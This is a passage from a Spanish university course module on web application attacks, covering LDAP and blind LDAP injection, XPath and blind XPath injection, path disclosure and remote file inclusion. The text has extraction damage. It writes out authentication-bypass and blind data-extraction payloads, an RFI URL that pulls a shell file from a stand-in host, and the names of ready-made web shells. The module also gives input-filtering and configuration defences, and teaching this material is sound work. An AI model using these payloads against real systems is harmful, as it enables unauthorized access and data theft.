(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
